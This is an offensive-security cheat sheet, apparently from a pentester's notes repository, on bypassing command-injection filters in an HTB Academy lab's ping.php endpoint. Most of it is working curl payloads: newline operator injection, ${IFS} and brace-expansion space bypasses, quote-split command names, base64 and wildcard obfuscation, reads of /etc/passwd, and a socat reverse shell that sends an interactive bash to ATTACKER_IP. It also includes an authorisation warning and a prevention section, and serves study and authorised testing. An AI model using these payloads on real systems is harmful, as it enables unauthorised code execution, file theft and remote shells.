daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

command-injection-filter-bypass.md (19075B)


      1 ---
      2 title: "Command Injection — Filter Bypass"
      3 description: "Bypassing command-injection filters: space, blacklisted-character and blacklisted-command evasion, plus advanced obfuscation."
      4 category: web
      5 tags: ["web", "command-injection", "filter-bypass"]
      6 tools: ["socat", "PowerShell"]
      7 difficulty: intermediate
      8 updated: "2026-08-28"
      9 source: "vault:Web/Command Injection - Filter Bypass Cheat Sheet.md"
     10 ---
     11 # Command Injection — Filter Bypass Cheat Sheet
     12 
     13 ## Summary
     14 
     15 Command injection happens when attacker-controlled input reaches an operating-system shell call such as `shell_exec()`, `system()`, `exec()`, `passthru()`, or a back-tick execution, without proper validation. The reliable workflow is to confirm the sink executes a shell command, append an injection operator, then peel back each filter layer one character at a time. This sheet maps the whole Hack The Box Command Injections module: detection, operators, space filters, blacklisted characters, blacklisted commands, advanced obfuscation, evasion tooling, and the `socat` reverse-shell escape used against the INLANEFREIGHT `ping.php` endpoint. Read the source of the vulnerable script wherever possible, because guessing blind against a blacklist wastes far more time than reading the filter.
     16 
     17 > [!danger]+ Authorisation Boundary
     18 >
     19 > 1. Use these payloads only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
     20 > 2. Command injection yields real operating-system code execution. Treat every payload as production-dangerous.
     21 > 3. Reverse shells and pivots cross network boundaries. Stay inside the documented scope, and tear down listeners and relays when the exercise ends.
     22 
     23 ---
     24 
     25 ## Conceptual Information
     26 
     27 ### The mental model
     28 
     29 An injectable endpoint concatenates your input into a shell string. If the backend runs something like `bash -c 'ping -c 1 <your_input>'`, then anything that terminates the `ping` argument and starts a new command runs on the host. Filters try to stop this by blacklisting operators, spaces, characters, and command names. Every filter has a bypass, because shells offer many equivalent ways to express the same instruction.
     30 
     31 > [!info]+ Vulnerable PHP sinks to look for
     32 >
     33 > 1. `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()`, and back-ticks in PHP.
     34 > 2. `os.system()`, `subprocess.*` with `shell=True`, and `eval` in Python.
     35 > 3. `Runtime.exec()` and `ProcessBuilder` in Java, `child_process.exec()` in Node.js.
     36 > 4. Any parameter whose value ends up as a hostname, filename, IP, or option that the server then shells out with.
     37 
     38 ### Injection operators
     39 
     40 These operators chain a second command onto the intended one. The new-line character is the star of the show, because it is rarely blacklisted (payloads legitimately need it) yet works as a separator on both Linux and Windows.
     41 
     42 | Operator | URL-encoded | Executes | Notes |
     43 |---|---|---|---|
     44 | `;` | `%3b` | Both commands sequentially | Not valid in Windows CMD, works in PowerShell |
     45 | `\n` (new-line) | `%0a` | Both commands | Best first choice, rarely blacklisted |
     46 | `&` | `%26` | Both, output may interleave | Background operator |
     47 | `&&` | `%26%26` | Second only if first succeeds | AND |
     48 | `\|` | `%7c` | Second only, first output discarded | Pipe |
     49 | `\|\|` | `%7c%7c` | Second only if first fails | OR |
     50 | `` ` ` `` | `%60` | Command substitution (Linux) | Legacy back-ticks |
     51 | `$( )` | `%24%28%29` | Command substitution (Linux) | Modern substitution |
     52 
     53 > [!tip]+ Why new-line wins
     54 >
     55 > 1. A blacklist that blocks `;`, `&`, and `\|` still usually lets `%0a` through, because the developer needs new-lines elsewhere in the request body.
     56 > 2. The new-line both terminates the first command and begins yours, so `127.0.0.1%0aid` conceptually becomes two lines: `ping -c 1 127.0.0.1` then `id`.
     57 
     58 ---
     59 
     60 ## Detection & Filter Identification
     61 
     62 ### Step 1 — Confirm the sink shells out
     63 
     64 Send the intended value and a chained operator, then compare responses. A successful ping plus extra output, a timing difference, or an error that leaks a shell message all indicate a shell call.
     65 
     66 ```bash
     67 # Baseline: normal behaviour
     68 curl "http://target/ping.php?ip=127.0.0.1"
     69 
     70 # Probe: append an operator + command
     71 curl "http://target/ping.php?ip=127.0.0.1;id"
     72 curl "http://target/ping.php?ip=127.0.0.1%0aid"
     73 ```
     74 
     75 > [!info]+ What each response tells you
     76 >
     77 > 1. **Invalid input** on `;` but success on `%0a`: an operator blacklist exists, new-line is allowed.
     78 > 2. **Ping runs but no `id` output**: the operator was accepted but a later filter (space, word) stripped or rejected the injected command.
     79 > 3. **Blank or 500 error**: input may have broken the shell string. Adjust quoting.
     80 
     81 ### Step 2 — Read the filter if you can
     82 
     83 The single biggest time-saver is dumping the script source once you have any execution, so you stop guessing. In the INLANEFREIGHT lab the filter blacklist is visible directly in `ping.php`.
     84 
     85 ```php
     86 <?php
     87 function filter($str)
     88 {
     89   $operators = ['&', '|', ';', '\\', '/', ' '];
     90   foreach ($operators as $operator) {
     91     if (strpos($str, $operator)) { return true; }
     92   }
     93   $words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd',
     94             'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file',
     95             'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime',
     96             'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar',
     97             'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed',
     98             'nc', 'netcat'];
     99   foreach ($words as $word) {
    100     if (strpos($str, $word) !== false) { return true; }
    101   }
    102   return false;
    103 }
    104 if (isset($_GET['ip'])) {
    105   $ip = $_GET['ip'];
    106   if (filter($ip)) { $output = "Invalid input"; }
    107   else { $cmd = "bash -c 'ping -c 1 " . $ip . "'"; $output = shell_exec($cmd); }
    108 }
    109 ?>
    110 ```
    111 
    112 > [!warning]+ Two subtle filter bugs to exploit
    113 >
    114 > 1. **Operator check uses `strpos()` truthiness**: `if (strpos($str, $operator))` treats position `0` as false. A blacklisted operator sitting at the very start of the string slips through, though that rarely helps here since our injection follows the IP.
    115 > 2. **The command is wrapped in single quotes**: `bash -c 'ping -c 1 <input>'`. That wrapper is exactly why splitting command names with single quotes works, see below.
    116 > 3. **`ip` is blacklisted as a word**, so `ifconfig` and `ip a` are blocked, but we bypass this by splitting characters.
    117 
    118 ---
    119 
    120 ## Bypassing Space Filters
    121 
    122 The space is the most commonly blacklisted character, because a valid IP never needs one. There are many space-free substitutes.
    123 
    124 | Technique | Payload fragment | Works on | Notes |
    125 |---|---|---|---|
    126 | **Tab** | `%09` | Linux + Windows | Shells treat tabs as argument separators |
    127 | **`${IFS}`** | `${IFS}` | Linux (bash/sh) | Default IFS is space + tab + new-line |
    128 | **`$IFS$9`** | `$IFS$9` | Linux | `$9` is an empty positional arg, ends the var name cleanly |
    129 | **Brace expansion** | `{ls,-la}` | Linux (bash) | Braces auto-insert spaces between elements |
    130 | **Input redirection** | `<` and `<>` | Linux | `cat<file` reads without a space |
    131 | **Windows `%IFS%`** | not valid | Windows | Use `,` in some CMD contexts instead |
    132 
    133 ```bash
    134 # All of these run "ping -c 1 127.0.0.1" then the injected command, space-free
    135 
    136 # Tab as separator
    137 curl "http://target/ping.php?ip=127.0.0.1%0a%09id"
    138 
    139 # IFS environment variable
    140 curl "http://target/ping.php?ip=127.0.0.1%0a${IFS}id"          # URL: %0a%24%7bIFS%7did
    141 
    142 # IFS with positional-arg terminator
    143 curl "http://target/ping.php?ip=127.0.0.1%0acat$IFS$9/etc/passwd"
    144 
    145 # Brace expansion (no spaces inside braces)
    146 curl "http://target/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"
    147 ```
    148 
    149 > [!info]+ How `${IFS}` bypasses the space
    150 >
    151 > 1. `IFS` is the Internal Field Separator, and its default value contains a space and a tab.
    152 > 2. When bash expands `cat${IFS}/etc/passwd`, the variable resolves to a space, so the executed command is `cat /etc/passwd` with no literal space ever in the request.
    153 > 3. `${IFS}` renders in the source string as no space, so a `' '` blacklist never triggers.
    154 
    155 > [!tip]+ Brace expansion in one line
    156 >
    157 > 1. `{ls,-la}` expands to `ls -la`, `{cat,file}` expands to `cat file`.
    158 > 2. Great when both spaces and specific commands are filtered, because you can also split names, e.g. `{c'a't,file}`.
    159 > 3. See [PayloadsAllTheThings — Bypass without space](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space).
    160 
    161 ---
    162 
    163 ## Bypassing Other Blacklisted Characters
    164 
    165 When slashes, semicolons, or other characters are filtered, pull them out of shell environment variables using substring expansion, so the literal character never appears in your input.
    166 
    167 | Character needed | Extraction trick | Expands to |
    168 |---|---|---|
    169 | `/` (slash) | `${PATH:0:1}` | First char of `PATH`, which is `/` |
    170 | `;` (semicolon) | `${LS_COLORS:10:1}` | A `;` from the colours string |
    171 | `\` (backslash) | `${HOME:0:1}` on some hosts | Depends on the variable |
    172 | Any literal | `$(printf '\<octal>')` | Printf-decoded byte |
    173 
    174 ```bash
    175 # Read /etc/passwd without ever typing a slash
    176 curl "http://target/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"
    177 
    178 # Semicolon pulled from LS_COLORS (index varies per host, enumerate it)
    179 curl "http://target/ping.php?ip=127.0.0.1%0a\$(echo${IFS}\${LS_COLORS:10:1})"
    180 ```
    181 
    182 > [!info]+ Substring expansion syntax
    183 >
    184 > 1. `${VARIABLE:offset:length}` returns a slice of the variable's value.
    185 > 2. `${PATH:0:1}` is the classic slash generator, because `PATH` almost always begins with `/usr/...`.
    186 > 3. Enumerate a host's variables first (`printenv` if available, or `${VAR}` echoes) so you know which indices give which characters.
    187 
    188 > [!tip]+ Character shifting with tr and printf
    189 >
    190 > 1. `$(tr '!-}' '"-~'<<<'gvzk')` shifts each character up by one ASCII value, decoding an obfuscated word at runtime.
    191 > 2. `printf` with octal escapes reconstructs any byte, e.g. `$(printf '\57')` yields `/`.
    192 
    193 ---
    194 
    195 ## Bypassing Blacklisted Commands
    196 
    197 Word blacklists match the exact string, so break the command name apart with characters the shell ignores at execution time. The key insight against `ping.php`: the command runs inside `bash -c '...'`, so single quotes inside the argument are removed by bash before execution.
    198 
    199 | Technique | Example | Runs as | Why it works |
    200 |---|---|---|---|
    201 | **Single-quote split** | `'w'h'o'am'i'` | `whoami` | Bash strips the empty quote pairs |
    202 | **Double-quote split** | `w"h"o"a"m"i"` | `whoami` | Same, quotes are removed at parse time |
    203 | **Backslash split** | `w\ho\am\i` | `whoami` | Backslash before a normal char is dropped |
    204 | **`$@` insertion** | `who$@ami` | `whoami` | `$@` expands to nothing |
    205 | **Positional `${x}`** | `who${x}ami` | `whoami` | Unset var expands to empty |
    206 | **Case + tr** | `$(tr A-Z a-z<<<WhOaMi)` | `whoami` | Lowercase at runtime |
    207 
    208 ```bash
    209 # The canonical INLANEFREIGHT bypass: 'i'd defeats the "id" word filter
    210 curl "http://target/ping.php?ip=127.0.0.1%0a'i'd"
    211 
    212 # ifconfig, split so the blacklisted "if"/"ip" fragments never appear whole
    213 curl "http://target/ping.php?ip=127.0.0.1%0a'i'fconfig"
    214 
    215 # which socat, combining char-split + IFS for the space
    216 curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
    217 
    218 # cat the source with char-split + IFS
    219 curl "http://target/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"
    220 ```
    221 
    222 > [!success]+ Confirmed execution on the lab
    223 >
    224 > ```
    225 > uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
    226 > ```
    227 > 1. The `id` output proves code execution as the **webdev** user.
    228 > 2. `ifconfig` reveals a second interface `ens192: 172.16.8.120/23`, placing the host inside the `172.16.8.0/23` internal scope, a pivot opportunity into the Active Directory domain.
    229 
    230 > [!info]+ Why quote-splitting beats the word filter
    231 >
    232 > 1. `strpos($str, 'id')` looks for the literal two-byte string `id`. `'i'd` contains `i`, `'`, `'`, `d`, never the contiguous `id`, so the check returns false.
    233 > 2. Bash, executing `bash -c 'ping -c 1 127.0.0.1\n'i'd'`, removes the quote pairs and runs `id`.
    234 > 3. The same logic defeats every entry in the word list, split any two adjacent characters and the substring match fails.
    235 
    236 ---
    237 
    238 ## Advanced Command Obfuscation
    239 
    240 For heavier WAFs or case-insensitive filters, obfuscate so the payload does not resemble any known command even after simple normalisation.
    241 
    242 | Method | Payload | Decodes to |
    243 |---|---|---|
    244 | **Case toggling** (Windows/PS) | `WhOaMi` | `whoami` (case-insensitive on Win) |
    245 | **Case fix via tr** | `$(a="WHOAMI";tr${IFS}'A-Z'${IFS}'a-z'<<<"$a")` | `whoami` |
    246 | **Reversed command** | `$(rev<<<'imaohw')` | `whoami` |
    247 | **Base64 decode + exec** | `bash<<<$(base64${IFS}-d<<<'d2hvYW1p')` | `whoami` |
    248 | **Wildcards** | `/???/??t /???/p??s??` | `/bin/cat /etc/passwd` (glob match) |
    249 
    250 ```bash
    251 # Reverse the string at runtime
    252 curl "http://target/ping.php?ip=127.0.0.1%0a$(rev<<<'imaohw')"
    253 
    254 # Base64-encode the whole command, decode and pipe to bash
    255 echo -n 'id' | base64                       # -> aWQ=
    256 curl "http://target/ping.php?ip=127.0.0.1%0abash<<<$(base64${IFS}-d<<<aWQ=)"
    257 
    258 # Wildcard path so no full binary name is written
    259 curl "http://target/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
    260 ```
    261 
    262 > [!tip]+ Layer the techniques
    263 >
    264 > 1. Combine operator + space bypass + name split + encoding when a filter chains several checks, e.g. `%0abash<<<$(base64${IFS}-d<<<...)`.
    265 > 2. Wildcards (`?` single char, `*` any run) let you invoke binaries whose names are blacklisted, since the shell resolves the glob after the filter has already passed the request.
    266 
    267 ---
    268 
    269 ## Evasion Tools
    270 
    271 Hand-crafting obfuscation is slow. These generators produce filter-evading payloads automatically.
    272 
    273 > [!info]+ [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) Overview
    274 >
    275 > Configurable Bash command obfuscation framework for Linux targets.
    276 > 1. `./bashfuscator -c 'cat /etc/passwd'` emits an obfuscated one-liner.
    277 > 2. `-s 1 -t 1 --no-mangling` tunes obfuscation layers and size for readability or evasion.
    278 > 3. Output can be very long, so test it fits the parameter length the endpoint accepts.
    279 
    280 > [!info]+ [DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation) Overview
    281 >
    282 > Invoke-DOSfuscation obfuscates Windows CMD and PowerShell payloads.
    283 > 1. Handles case toggling, char insertion, and environment-variable substring tricks for Windows.
    284 > 2. Use `Invoke-DOSfuscation` then `SET COMMAND`/`ENCODING` inside its interactive menu.
    285 
    286 > [!tip]+ Manual toolkit to keep handy
    287 >
    288 > 1. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) is the reference payload library.
    289 > 2. Burp Suite Intruder loaded with a variation wordlist (see the companion Python generator) sprays candidates and highlights which return a non-`Invalid input` response.
    290 
    291 ---
    292 
    293 ## From RCE to Reverse Shell — the socat escape
    294 
    295 Single commands run, but anything with a space breaks unless bypassed, and most shell binaries (`nc`, `bash`, `ssh`) are blacklisted. On the INLANEFREIGHT host `socat` survives the filter and is present at `/usr/bin/socat`.
    296 
    297 ```bash
    298 # Confirm socat exists (which is blacklisted as a word, so split it)
    299 curl "http://target/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
    300 # -> /usr/bin/socat
    301 ```
    302 
    303 ```bash
    304 # Attacker: start the socat listener with a full TTY handler
    305 socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
    306 ```
    307 
    308 ```bash
    309 # Target (via injection): connect back with an interactive bash
    310 # Spaces replaced by ${IFS}, socat name intact (not word-filtered whole)
    311 curl "http://target/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:ATTACKER_IP:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"
    312 ```
    313 
    314 > [!warning]+ Filter-safe reverse shell notes
    315 >
    316 > 1. Every space in the socat command must be `${IFS}` or `%09`, or the space blacklist rejects the request.
    317 > 2. If `socat` is caught by a later word filter, split it: `so'c'at` or `s${x}ocat`.
    318 > 3. `EXEC:bash,pty,stderr,setsid,sigint,sane` gives a fully interactive PTY, far better than a dumb `nc` shell for pivoting into the `172.16.8.0/23` network.
    319 
    320 > [!tip]+ Grab the source first
    321 >
    322 > 1. Before brute-forcing a shell, `cat` the vulnerable script (`'c'at${IFS}ping.php`) so you know the exact blacklist and can craft a one-shot payload instead of dozens of failed guesses.
    323 
    324 ---
    325 
    326 ## Prevention
    327 
    328 > [!important]+ How to actually fix this
    329 >
    330 > 1. **Never pass user input to a shell.** Use language-native APIs, e.g. a raw socket ping or a library, instead of `shell_exec("ping ...")`.
    331 > 2. If a shell call is unavoidable, use parameterised execution that separates the command from its arguments (`execve`-style, no `bash -c`), so input can never become a new command.
    332 > 3. **Allowlist, do not blacklist.** Validate against a strict pattern, e.g. an IP regex `^\d{1,3}(\.\d{1,3}){3}$`, and reject everything else. Blacklists always lose to obfuscation.
    333 > 4. Run the web service as a low-privilege user in a locked-down container, and drop outbound network egress so a reverse shell cannot phone home.
    334 
    335 ---
    336 
    337 ## Quick Reference — Bypass Chains
    338 
    339 | Filter hit | Fastest bypass | Example |
    340 |---|---|---|
    341 | Operator (`;` `\|` `&`) blocked | new-line | `127.0.0.1%0aid` |
    342 | Space blocked | `${IFS}` / tab / `{a,b}` | `cat${IFS}/etc/passwd` |
    343 | Slash blocked | `${PATH:0:1}` | `cat${IFS}${PATH:0:1}etc${PATH:0:1}passwd` |
    344 | Command name blocked | quote/char split | `'w'h'o'am'i'` |
    345 | Case-insensitive WAF | reverse / base64 | `bash<<<$(base64${IFS}-d<<<aWQ=)` |
    346 | Binary name blocked | wildcards | `/???/c?t${IFS}/etc/passwd` |
    347 | Need a shell | socat + `${IFS}` | `socat${IFS}TCP4:IP:4444${IFS}EXEC:bash,pty,...` |
    348 
    349 ---
    350 
    351 ## Lessons Learned
    352 
    353 1. The new-line operator `%0a` beats operator blacklists almost every time, because developers cannot fully ban it. Always try it first.
    354 2. Reading the filter source turns a guessing game into an engineering task. Any early RCE should be spent `cat`-ing the vulnerable script before anything else.
    355 3. Filters compose, so bypasses compose. A single request often needs an operator bypass, a space bypass, and a command-name bypass stacked together.
    356 4. `${IFS}` for spaces and single-quote splitting for names are the two highest-value tricks for the CPTS-style labs, learn them cold.
    357 5. Blacklists are structurally doomed. When you write the fix, allowlist a strict input pattern and avoid the shell entirely.
    358 
    359 ---
    360 
    361 ## References
    362 
    363 1. [HTB Academy — Command Injections module](https://academy.hackthebox.com/module/details/109)
    364 2. [PayloadsAllTheThings — Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
    365 3. [OWASP — Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
    366 4. [MITRE ATT&CK — Command and Scripting Interpreter (T1059)](https://attack.mitre.org/techniques/T1059/)
    367 5. [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator)
    368 6. [Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
    369 7. [socat man page](http://www.dest-unreach.org/socat/doc/socat.html)